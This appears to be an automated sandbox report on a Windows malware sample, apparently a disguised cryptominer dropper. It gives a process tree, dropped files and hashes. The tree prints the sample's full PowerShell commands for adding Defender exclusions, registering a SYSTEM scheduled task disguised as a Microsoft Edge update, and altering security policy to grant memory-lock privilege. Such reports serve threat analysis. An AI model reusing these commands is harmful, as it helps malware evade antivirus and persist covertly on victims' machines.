Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/07/2026, 22:30

General

  • Target
    2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe
  • Size 9.6MB
  • Sample260716-2etchaft3j
  • SHA256 54316f2e666218a3e365afaa46c69550b9913dadd78b3614a880b9b2b1e59de0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
      "C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe"
      2⤵
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4624
      • C:\Users\Admin\AppData\Local\Temp\gooner_setup_x64.exe
        "C:\Users\Admin\AppData\Local\Temp\gooner_setup_x64.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1728
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5020
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4760
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
          4⤵
            PID:2548
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4560
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
            4⤵
              PID:4448
            • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
              "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
              4⤵
              • Executes dropped EXE
              PID:2684
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:5808
              • C:\Windows\system32\SecEdit.exe
                "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
                5⤵
                  PID:3632
                • C:\Windows\system32\SecEdit.exe
                  "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
                  5⤵
                    PID:1952
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2416
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5372
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
              2⤵
                PID:1320
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4220
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
                2⤵
                  PID:5548
                • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                  "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
                  2⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: GetForegroundWindowSpam
                  PID:4652
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:3868
                  • C:\Windows\system32\SecEdit.exe
                    "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
                    3⤵
                      PID:2776
                    • C:\Windows\system32\SecEdit.exe
                      "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
                      3⤵
                        PID:4904
                  • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                    "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --watcher
                    1⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:5456
                    • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                      "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --mine
                      2⤵
                      • Executes dropped EXE
                      PID:1948

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 1858e7c5e8738d4deecaab9e5de8e9a887718b9f4acdc230597e27dfe39ee51c
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 5cea41a7186ca1e4faf61e52a5ea79053860e20366da4e64bf8917a7178caed8
                        • MD5 SHA1 SHA512 TLSH

                        GoonHUB.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
                        • Size 8.7MB
                        • SHA256 a8837db4b925c62d9e7abf0d56fb3b5bfcfe457256af7d37d2fcadede4867c06
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        __PSScriptPolicyTest_xgzqtrk1.gbs.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xgzqtrk1.gbs.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        gooner_setup_x64.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\gooner_setup_x64.exe
                        • Size 576KB
                        • SHA256 f823738d73cb78b055715749a69954d4eedec15b5b7ca8601038a22eadd27a30
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        sce51030.tmp

                        • Path C:\Users\Admin\AppData\Local\Temp\sce51030.tmp
                        • Size 16KB
                        • SHA256 aa46df7fef63b27ef2b44d160f40de53f7012ac920e1d5d7405b44ab17acdc11
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        secpol.cfg

                        • Path C:\Users\Admin\AppData\Local\Temp\secpol.cfg
                        • Size 8KB
                        • SHA256 0df9f6ae0a928593ddc6731cb29ce4d005d33ba7c36df8feb5bf7d933c606e44
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/1948-114-0x000002BC764F0000-0x000002BC76504000-memory.dmp

                        memory/1948-115-0x000002BC764F0000-0x000002BC76504000-memory.dmp

                        memory/2416-30-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

                        memory/2416-14-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

                        memory/2416-25-0x0000018BC6AE0000-0x0000018BC6AFE000-memory.dmp

                        memory/2416-27-0x0000018BC69C0000-0x0000018BC69CA000-memory.dmp

                        memory/2416-22-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

                        memory/2416-21-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

                        memory/2416-31-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

                        memory/2416-20-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

                        memory/2416-39-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

                        memory/2416-9-0x00007FFFAD8EF000-0x00007FFFAD8F0000-memory.dmp

                        memory/2416-19-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

                        memory/2416-10-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

                        memory/2416-18-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

                        memory/2416-26-0x0000018BDEBD0000-0x0000018BDEC82000-memory.dmp

                        memory/2416-13-0x0000018BC6930000-0x0000018BC6952000-memory.dmp

                        memory/2416-112-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

                        memory/4560-60-0x000001C41D300000-0x000001C41D31E000-memory.dmp

                        memory/4760-47-0x0000020D1A350000-0x0000020D1A402000-memory.dmp